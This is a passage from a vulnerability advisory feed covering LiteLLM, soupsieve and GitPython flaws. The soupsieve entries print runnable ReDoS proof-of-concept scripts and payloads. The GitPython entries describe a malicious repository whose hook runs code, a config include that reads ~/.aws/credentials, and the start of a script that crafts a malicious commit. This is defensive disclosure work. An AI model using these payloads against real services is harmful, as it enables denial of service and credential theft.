ource":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: Authenticated SSRF and provider-credential exfiltration via unvalidated request-body routing parameters","details":"### Impact\n\nAny authenticated LiteLLM proxy user could redirect an outbound provider call to a destination they control and cause the proxy to send its own configured provider credentials to that destination. The proxy's request-body validation was a denylist that did not cover every sensitive parameter and did not inspect parameters nested inside other request fields, so a caller could supply a routing or credential value that the proxy applied without clearing the operator's stored key. Any authenticated user could therefore exfiltrate the operator's upstream provider credentials and other configured secrets, and perform Server-Side Request Forgery against internal services reachable from the proxy.\n\n### Patches\n\nFixed in 1.96.2, 1.95.1, 1.94.3, 1.93.2, 1.92.2, 1.91.5, 1.90.7, 1.89.7, and 1.88.6.\n\n### Workarounds\n\nSet `general_settings.allow_client_side_credentials` to `false` so callers cannot override connection parameters, restrict proxy keys to trusted callers, and block the affected parameters (`api_base`, `base_url`, `model_list`, `fallbacks`, provider credential fields) at a reverse proxy or API gateway.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-3cv6-jpf6-8222"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84377"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/pull/36011"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/pull/36314"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/pull/36494"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/473f72e63a9777d793fbbf57194d8ec4fb97bc1b"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/820f247a6abba55cd87d130bef7bba7be3b29d37"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/commit/c898d341c02299cf2506d0d8e84cc67953043593"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-85999","published":"2026-09-20T11:37:23Z","modified":"2026-10-02T09:56:22Z","upstream":["GHSA-j934-xhv5-fg8f","CVE-2026-85999","PYSEC-2026-4171"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.9.0","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@2.8.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"2.8.3","key":"pkg:pypi/soupsieve@2.8.3","resource":"soupsieve"}]},"summary":"Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)","details":"## Summary\n\nBefore tokenizing, `selector_iter` trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with `.search()`. The trailing one, `RE_WS_END = re.compile(r'{WSC}*$')`, is anchored only at the end (`$`), not the start. Because `.search()` retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail `$`, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, `a` + `\" \"*n` + `b` — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.\n\n## Trust model (Q0)\n\nThe selector string is the input, reaching this code via `soupsieve.compile()`, the `soupsieve.select/iselect/match/filter` helpers, and BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`. Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.\n\n## Root cause (exact anchors) — `src/soupsieve/css_parser.py`\n\n```python\n# line 185-186\nRE_WS_BEGIN = re.compile(fr'^{WSC}*')   # anchored at start -> .search() only tries pos 0 -> linear (safe)\nRE_WS_END   = re.compile(fr'{WSC}*$')   # NOT anchored at start -> .search() tries every offset\n\n# selector_iter, lines ~1322-1326\nm = RE_WS_BEGIN.search(pattern)\nindex = m.end(0) if m else 0\nm = RE_WS_END.search(pattern)                     # <-- O(n^2) here\nend = (m.start(0) - 1) if m else (len(pattern) - 1)\n```\n\n`WSC = (?:{WS}|{COMMENTS})`. For `RE_WS_END = (?:WS|COMMENTS)*$`, `.search()` walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, `(?:WS|COMMENTS)*` greedily consumes to the run's end, then `$` fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). `RE_WS_BEGIN` avoids this because `^` pins it to a single start offset.\n\nThe intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored `.search()` of a `*$` pattern is the defect.\n\n## Reproduction environment (discipline #12 — published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_ws_trim.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py` → same O(n²) (evidence: `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_ws_trim.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef ct(sel):\n    t0 = time.perf_counter()\n    try:\n        sv.compile(sel); st = \"ok\"\n    except Exception as e:\n        st = type(e).__name__\n    return time.perf_counter() - t0, st\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"VALID selector 'a' + ' '*n + 'b'  (descendant combinator, lots of whitespace):\")\nfor n in (2000, 4000, 8000, 16000):\n    dt, st = ct(\"a\" + \" \" * n + \"b\")\n    print(f\"  n={n:<6} len={n+2:<7} {dt*1000:9.1f} ms  [{st}]\")\n\npayload = \"a\" + \" \" * 20000 + \"b\"\ndt, st = ct(payload)\nprint(f\"\\n[+] Single call: compile('a' + ' '*20000 + 'b')  (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s   [{st}]\")\n```\n\nIsolated confirmation that the cost is in `RE_WS_END.search` specifically (`poc/isolate_ws_trim.py`): `RE_WS_END` on `\"div\"+\" \"*n+\">\"` is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored `RE_WS_BEGIN` on `\" \"*n+\"x\"` stays linear (32000→1.5 ms). Profiling `compile` shows the entire wall time in 2 `re.Pattern.search` calls, not `.match`.\n\n## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_ws_trim.log`)\n\n```\nsoupsieve 2.9\n\nVALID selector 'a' + ' '*n + 'b'  (descendant combinator, lots of whitespace):\n  n=2000   len=2002        112.3 ms  [ok]\n  n=4000   len=4002        411.5 ms  [ok]\n  n=8000   len=8002       1602.9 ms  [ok]\n  n=16000  len=16002      6464.1 ms  [ok]\n\nVALID-looking 'a' + '/*x*/'*n + 'b'  (CSS comment run):\n  n=1000   len=5002         48.9 ms  [SelectorSyntaxError]\n  n=2000   len=10002       194.8 ms  [SelectorSyntaxError]\n  n=4000   len=20002       780.2 ms  [SelectorSyntaxError]\n  n=8000   len=40002      3145.3 ms  [SelectorSyntaxError]\n\n[+] Single call: compile('a' + ' '*20000 + 'b')  (len=20002)\n[+] wall time = 10.23 s   [ok]\n```\n\n## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\n\nVALID selector 'a' + ' '*n + 'b':\n  n=2000   len=2002        102.7 ms  [ok]\n  n=4000   len=4002        404.3 ms  [ok]\n  n=8000   len=8002       1618.2 ms  [ok]\n  n=16000  len=16002      6457.9 ms  [ok]\n[+] Single call: compile('a' + ' '*20000 + 'b')  wall time = 10.11 s   [ok]\n```\n\n## Impact — calibrated\n\n- Confirmed: quadratic CPU per `compile()`/`select()` call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. ~8 KB → ~1.6 s; ~20 KB → ~10 s; scaling ~×4 per input doubling. Notably fires on WELL-FORMED selectors, so it does not depend on a parser error path.\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. Availability (DoS) only, and only where selectors are attacker-influenced.\n\n## Distinction from the IDENTIFIER/VALUE ReDoS\n\nThis is a separate root cause and a separate fix: the cost here is entirely in the `RE_WS_END = {WSC}*$` trim step run with `.search()` before tokenizing (measured in `re.Pattern.search`), whereas the IDENTIFIER/VALUE issue is adjacent-quantifier backtracking during token `.match()`. They can be fixed independently.\n\n## Remediation\n\n- Anchor or de-loop the trailing-trim step: instead of `.search()` of `{WSC}*$`, scan trailing whitespace/comments from the end directly (e.g. reverse scan, or `re.compile(r'^{WSC}*').match` on a reversed-equivalent), so no per-offset retry occurs.\n- Alternatively strip whitespace/comments in a single forward tokenizing pass rather than with a pre-pass `*$` search.\n- Defense-in-depth: cap selector length before compiling.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-j934-xhv5-fg8f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85999"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/commit/cf198fcddc9230f06ed39f974eba0ce076b85cda"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/releases/tag/2.9"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-86000","published":"2026-09-20T11:37:23Z","modified":"2026-10-02T09:56:22Z","upstream":["GHSA-gjv8-xp57-g29c","CVE-2026-86000","PYSEC-2026-4170"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.9.0","resource":"soupsieve","resource_purl":"pkg:pypi/soupsieve@2.8.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"soupsieve","subject_version":"2.8.3","key":"pkg:pypi/soupsieve@2.8.3","resource":"soupsieve"}]},"summary":"Soup Sieve: Polynomial-time ReDoS (O(n²)) in the `IDENTIFIER` / `VALUE` selector sub-patterns","details":"## Summary\n\nsoupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared `IDENTIFIER` sub-pattern (also embedded in `VALUE`, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: `(?:[classA]|ESC)+(?:[classB]|ESC)*`, where both classes match ordinary identifier characters such as `a`. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing `]`, or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the `+` group and the `*` group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes.\n\n## Trust model (Q0)\n\nThe selector string is the input. It reaches this code via `soupsieve.compile()`, `soupsieve.select/iselect/match/filter`, and — most commonly — BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`, which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.\n\n## Root cause (exact anchors) — `src/soupsieve/css_parser.py`\n\n```python\n# lines 122-126\nIDENTIFIER = fr'''\n(?:(?:-?(?:[^\\x00-\\x2f\\x30-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]|{CSS_ESCAPES})+|--)\n(?:[^\\x00-\\x2c\\x2e\\x2f\\x3A-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]|{CSS_ESCAPES})*)\n'''\n# line 129 — VALUE embeds IDENTIFIER (so attribute values inherit the pattern)\nVALUE = fr'''(?:\"(?:\\\\(?:.|{NEWLINE})|[^\\\\\"\\r\\n\\f])*?\"|'...'|{IDENTIFIER})'''\n```\n\n- classA `[^\\x00-\\x2f\\x30-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]` excludes digits (0x30-0x39); classB `[^\\x00-\\x2c\\x2e\\x2f\\x3A-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]` allows digits. The intent is \"first char not a digit, remaining chars may be digits.\"\n- Both classes match ordinary letters (e.g. `a` = 0x61). The construct is therefore effectively `(?:C)+(?:C)*` over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.\n\nThe quadratic only manifests when the overall match must fail. `IDENTIFIER` matched greedily on `\"a\"*n` succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (`IDENTIFIER + \"$\"` against `\"a\"*n + \"!\"`) reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (~×4 per ×2). Profiling `compile(\"[a=\" + \"a\"*4000)` shows only 12 `re.match` calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).\n\n## Reproduction environment (discipline #12 — published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_compile.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_compile.py` → same O(n²) (evidence: `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_compile.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef compile_time(sel):\n    t0 = time.perf_counter()\n    try:\n        sv.compile(sel)\n        status = \"ok\"\n    except Exception as e:\n        status = type(e).__name__\n    return (time.perf_counter() - t0), status\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"Payload A: '[a=' + 'a'*n   (unterminated attribute value)\")\nfor n in (1000, 2000, 4000, 8000):\n    dt, st = compile_time(\"[a=\" + \"a\" * n)\n    print(f\"  n={n:<6} len={3+n:<7} {dt*1000:9.1f} ms  [{st}]\")\n\nprint(\"\\nPayload B: 'a'*n + '!'   (identifier run + invalid trailing char)\")\nfor n in (2000, 4000, 8000, 16000):\n    dt, st = compile_time(\"a\" * n + \"!\")\n    print(f\"  n={n:<6} len={n+1:<7} {dt*1000:9.1f} ms  [{st}]\")\n\npayload = \"[a=\" + \"a\" * 12000\ndt, st = compile_time(payload)\nprint(f\"\\n[+] Single call: compile('[a=' + 'a'*12000)  (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s   [{st}]\")\n```\n\nEnd-to-end note: `bs4.BeautifulSoup(html).select(payload)` reaches the same `compile()` path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: `soup.select(\"[a=\" + \"a\"*6000)` took ~5.0 s for one call (evidence: `poc/evidence_bs4_select_PUBLISHED_2.8.4.log`).\n\n## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_compile.log`)\n\n```\nsoupsieve 2.9\n\nPayload A: '[a=' + 'a'*n   (unterminated attribute value)\n  n=1000   len=1003        214.8 ms  [SelectorSyntaxError]\n  n=2000   len=2003        504.7 ms  [SelectorSyntaxError]\n  n=4000   len=4003       2031.9 ms  [SelectorSyntaxError]\n  n=8000   len=8003       8091.3 ms  [SelectorSyntaxError]\n\nPayload B: 'a'*n + '!'   (identifier run + invalid trailing char)\n  n=2000   len=2001         79.7 ms  [SelectorSyntaxError]\n  n=4000   len=4001        322.9 ms  [SelectorSyntaxError]\n  n=8000   len=8001       1328.9 ms  [SelectorSyntaxError]\n  n=16000  len=16001      5379.4 ms  [SelectorSyntaxError]\n\n[+] Single call: compile('[a=' + 'a'*12000)  (len=12003)\n[+] wall time = 18.28 s   [SelectorSyntaxError]\n```\n\n## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\nPayload A: '[a=' + 'a'*n\n  n=1000   len=1003        113.9 ms  [SelectorSyntaxError]\n  n=2000   len=2003        457.2 ms  [SelectorSyntaxError]\n  n=4000   len=4003       1816.8 ms  [SelectorSyntaxError]\n  n=8000   len=8003       7299.0 ms  [SelectorSyntaxError]\n[+] Single call: compile('[a=' + 'a'*12000)  wall time = 16.57 s   [SelectorSyntaxError]\n```\n\n## Impact — calibrated\n\n- Confirmed: quadratic CPU consumption per `compile()`/`select()` call on an attacker-controlled selector. ~8 KB → ~8 s; ~12 KB → ~17 s; scaling ~×4 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL).\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. This is strictly an availability (DoS) issue, and only where selectors are attacker-influenced. Applications using only fixed selectors are unaffected — stated to avoid inflation.\n\n## Remediation\n\n- Remove the adjacent-quantifier ambiguity in `IDENTIFIER`: match a single leading non-digit character then the remaining class once, e.g. `(?:-?(?:[classA]|ESC)(?:[classB]|ESC)*|--(?:[classB]|ESC)*)`, so no `+`/`*` pair spans the same characters.\n- Alternatively use atomic grouping / possessive quantifiers where supported (`(?>...)`, `*+`) to forbid backtracking into the identifier run.\n- Defense-in-depth: cap selector length before compiling (reject selectors beyond a sane bound), since CSS selectors are realistically short.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/security/advisories/GHSA-gjv8-xp57-g29c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86000"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/commit/ce44e4996e6632871c18cdd7a7fb641be8ef34ef"},{"type":"PACKAGE","url":"https://github.com/facelessuser/soupsieve"},{"type":"WEB","url":"https://github.com/facelessuser/soupsieve/releases/tag/2.9"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-87817","published":"2026-09-20T11:37:04Z","modified":"2026-10-01T10:18:30Z","upstream":["PYSEC-2026-3982","CVE-2026-87817","GHSA-239g-whfq-7xj9"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.60","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Repository content can impersonate the git directory, leading to arbitrary code execution","details":"### Summary\n\n`Repo.__init__` decides which directory is the git directory by testing candidate paths in an order that\nconsiders the real `.git` **last**. Two earlier tests can be satisfied by ordinary tracked files. Git\nreserves only the literal name `.git`, so `HEAD`, `objects/`, `refs/`, `config`, `gitdir`, `commondir`\nand `hooks/` at a repository root are all legal tracked content.\n\nConsequently, after a victim opens or clones an attacker's repository, GitPython resolves `git_dir` to\nthe **working-tree root** while real git correctly resolves `<root>/.git`. Everything GitPython then\ntreats as \"inside the git directory\" is attacker-authored content — including `hooks/`, which it\nexecutes.\n\n### CVE-2026-87817\n\n### Affected code (3.1.59)\n\nThe discovery loop in `git/repo/base.py` tests, in order:\n\n1. `git/repo/base.py:299` — `isfile(curpath/gitdir)` **and** `isfile(curpath/commondir)` **and** `isfile(curpath/HEAD)`\n2. `git/repo/base.py:320` — `is_git_dir(curpath)`\n3. `git/repo/base.py:341` — `dotgit = osp.join(curpath, \".git\")` ← the real git dir, considered last\n\n`is_git_dir` (`git/repo/fun.py:60`) requires only that `objects/` and `refs/` are directories and that\n`HEAD` is a file; **`HEAD`'s contents are never parsed.** The hook path is resolved from\n`index.repo.git_dir` (`git/index/fun.py:73`), i.e. the mis-resolved directory.\n\n### Proof of concept\n\nRequires only `pip install GitPython==3.1.59`. Full script attached as `poc1_rce.py`; it runs entirely\nin a temp directory and the payload only writes a marker file.\n\nAttacker repository — four ordinary tracked files at the root:\n\n| path | mode | content |\n|---|---|---|\n| `gitdir` | 100644 | `.git\\n` |\n| `commondir` | 100644 | `.git\\n` |\n| `HEAD` | 100644 | `ref: refs/heads/master\\n` |\n| `hooks/pre-commit` | **100755** | `#!/bin/sh` + payload |\n\nVictim — two ordinary calls:\n\n```python\nrepo = git.Repo.clone_from(url, dst)     # or git.Repo(dst)\nrepo.index.commit(\"automated commit\")    # code execution happens here\n```\n\nObserved on the PyPI release 3.1.59 (Linux and Windows):\n\n```\nreal git says the git dir is : /tmp/.../victim/.git\nGitPython says it is         : /tmp/.../victim      <- shadowed\nattacker's hook executed     : True\ngit fsck                     : (clean)\n```\n\nThe `pre-commit` hook runs at `git/index/base.py:1201`, before `write_tree()`, so it fires even though\nthe commit later fails.\n\n### Impact\n\nA service that opens or clones an untrusted repository with GitPython — a CI runner building a fork\npull request, a code-scanning/SBOM service, a mirror, a dependency bot, an AI code-review/agent tool —\ncan be made to:\n\n1. **Execute arbitrary commands** via the tracked `<root>/hooks/pre-commit` when the victim calls\n   `index.commit()`.\n2. **Read files outside the repository**: the tracked `<root>/config` becomes the repository config and\n   is parsed with `merge_includes=True` (`git/repo/base.py:765`), so `[include] path = ~/.aws/credentials`\n   discloses the file. (`Repo._config_reader` still defaults `merge_includes=True`, so the hardening\n   added in 3.1.59 for `.gitmodules`/GHSA-7833 does not cover this path.)\n3. **Write a config file to an attacker-chosen directory** via an absolute tracked `commondir`.\n\nDelivery is silent: `git clone` exits 0, `git fsck` (including `--strict`, and with\n`transfer.fsckObjects`/`fetch.fsckObjects=true`) reports nothing, and the clone passes every read-only\nprobe (`head.commit`, `branches`, `is_dirty()`, `untracked_files`, `iter_commits`) because a tracked\n`commondir` of `.git` pins `common_dir` to the real `.git`.\n\n### Threat model / preconditions\n\n- Attacker controls the content of a repository the victim opens or clones with GitPython (public repo,\n  fork PR, mirrored dependency).\n- For code execution, the victim performs a commit via GitPython's native `index.commit()`. For the\n  file-read impact, opening the repo and reading config is enough.\n- `GIT_WORK_TREE` is **not** a mitigation — `git_dir` is assigned and the discovery loop breaks before\n  the environment is consulted.\n- Real git is unaffected; only GitPython mis-resolves the directory.\n\n### Remediation\n\n1. Test `curpath/.git` **before** the `gitdir`/`commondir`/`HEAD` triple and before `is_git_dir(curpath)`.\n2. Resolve `hook_path` / `_commit_hook_path` / `_get_validated_reflog_path` through `repo.common_dir`.\n3. Containment-check `commondir`/`gitdir` contents before joining (reuse\n   `SymbolicReference._get_validated_path`).\n4. Validate `HEAD` in `is_git_dir` (require `ref: refs/...` or a 40-hex sha).\n5. Pass `merge_includes=False` in `Repo._config_reader` (`git/repo/base.py:765`).\n\n### Note for the maintainers\n\nCommit `406b98e1` (2026-05-31, \"respect core.hooksPath for commit hooks\") resolved the hook path via\n`git rev-parse --git-path`, which is immune because git rediscovers the true `.git`. Commit `9bc287a2`\n(2026-07-20) reverted it to avoid an unconditional `rev-parse` dependency — reintroducing the exec step.\nMeasured at each commit with the healthy-looking layout: `406b98e1` → hook did not fire; `9bc287a2` …\n`3.1.59` → hook fired.\n\n### Scope note\n\nOnly the **repository-root** case is reported: where a real `.git` exists, git prefers it, and GitPython\ndoes not. A fake git dir in a subdirectory fools real git too, so that variant is out of scope as a\ngeneral ecosystem hazard rather than a GitPython defect.\n\n###POC Files :\n[poc1_rce.py](https://github.com/user-attachments/files/31388464/poc1_rce.py)\n[poc2_file_read.py](https://github.com/user-attachments/files/31388465/poc2_file_read.py)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-239g-whfq-7xj9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87817"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2218"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/c7cf4d13b1ed0a2e70f2a1f3c6b4fc6c2652cf0b"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.60"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3982.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-3.1.60-remote-code-execution-via-git-directory-impersonation"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-87819","published":"2026-09-20T11:37:04Z","modified":"2026-10-01T10:18:31Z","upstream":["PYSEC-2026-3984","CVE-2026-87819","GHSA-g5vv-9gxw-82hx"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.60","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Denial of Service via catastrophic backtracking (ReDoS) in Actor.name_email_regex — commit author/committer field parsing","details":"### Summary\n\nGitPython's `Actor.name_email_regex` regular expression (`git/util.py`, line 863)\nis vulnerable to catastrophic backtracking (ReDoS — Regular Expression Denial of\nService). When GitPython parses the `author` or `committer` header of a git commit\nobject that contains a long string with an unterminated `<` (no matching `>`), the\nPython regex engine enters quadratic backtracking, causing complete single-threaded\nCPU exhaustion proportional to the square of the input length.\n\nA single crafted commit object can block any GitPython API call that reads\n`.author` or `.committer` for **over two minutes per invocation**, enabling denial\nof service against CI runners, code-hosting backends, repository-scanning\npipelines, or any service that processes commits from third-party or untrusted\nrepositories.\n\n---\n\n### Details\n\n**Vulnerable file and line:**\n\n`git/util.py`, line 863:\n\n```python\nname_email_regex = re.compile(r\"(.*) <(.*?)>\")\n```\n\nThis regex is evaluated inside `Actor._from_string()` (line 909) every time\nGitPython resolves a commit's `.author` or `.committer` property.\n\n**Full call chain — from public API to vulnerable sink:**\n\n\n\n\ncommit.author # any ordinary GitPython API call\n└── git/objects/commit.py:917\nCommit._deserialize()\n└── git/objects/util.py:341\nparse_actor_and_date(author_line)\n└── git/util.py:909\nActor._from_string(string)\n└── Actor.name_email_regex.search(string) ← VULNERABLE\n\n\n\n\n`author_line` is decoded directly from the raw bytes of the git commit object with\n**no length limit, character restriction, or timeout** applied at any point before\nreaching the regex engine. The same chain is triggered by:\n- `commit.author`\n- `commit.committer`\n- `repo.iter_commits()`\n- `repo.blame()`\n- Any web service / CI tool that displays or processes commit metadata\n\n**Why this pattern backtracks catastrophically:**\n\nThe pattern `(.*) <(.*?)>` contains an unbounded greedy group `(.*)` followed by\na literal space and `<`. When the input is a long string that contains `<` but no\nclosing `>`, the regex engine must try every possible split position for the greedy\ngroup — O(n²) candidate positions for a string of length n — each of which then\ndrives the inner lazy group into further sub-match attempts. This is the\nwell-documented \"catastrophic backtracking\" failure mode for this family of\npatterns.\n\n**Empirically measured scaling (tested against GitPython 3.1.59, commit 52a6cba):**\n\n| Author field length (bytes) | Time to resolve `.author` |\n|-----------------------------|--------------------------|\n| 1,000  | 0.0035 s |\n| 5,000  | 0.084 s  |\n| 10,000 | 0.341 s  |\n| 20,000 | 1.525 s  |\n| 40,000 | 5.963 s  |\n| 60,000 | 13.360 s |\n| 80,000 | 23.871 s |\n| **200,000** | **150.488 s** |\n\nEach doubling of input size roughly quadruples processing time (e.g. 40,000 →\n80,000 bytes: 5.96 s → 23.87 s ≈ 4.0×), confirming O(n²) growth. Git itself\nimposes **no practical size limit** on author name fields in the object format.\n\n**How the malicious object reaches a victim:**\n\nThe PoC creates the commit object as a correctly SHA-1-hashed, zlib-compressed git\nloose object written directly into `.git/objects/`. `git cat-file -t <sha>` confirms\nit is a valid `commit` type and git's own read-side tools display it without error.\nOnly git's write-side tooling (`git commit --author`, `git update-index`,\nexplicit `git fsck`) applies the sanity checks that would reject a malformed author\nline. Delivery paths that bypass those checks include:\n\n- A git server with `receive.fsckObjects = false` (common in self-hosted deployments)\n- A `.git` directory shipped as a tarball, backup, or zip archive\n- A git bundle file\n- Any automated mirror or import tool that operates at the object level\n\n---\n\n### PoC\n\n**Environment used for testing:**\n- GitPython 3.1.59, installed in editable mode from source (no code modifications)\n- Python 3.12.3, git 2.43.0, Ubuntu 24.04\n\n**Script 1 — craft the malicious repository (`craft_malicious_repo.py`):**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCreates a git repository with one commit whose 'author' field is a large\nstring containing an unterminated '<'. Bypasses git's write-side sanity\nchecks by writing the raw object directly into .git/objects/.\n\nUsage: python3 craft_malicious_repo.py <target_dir> 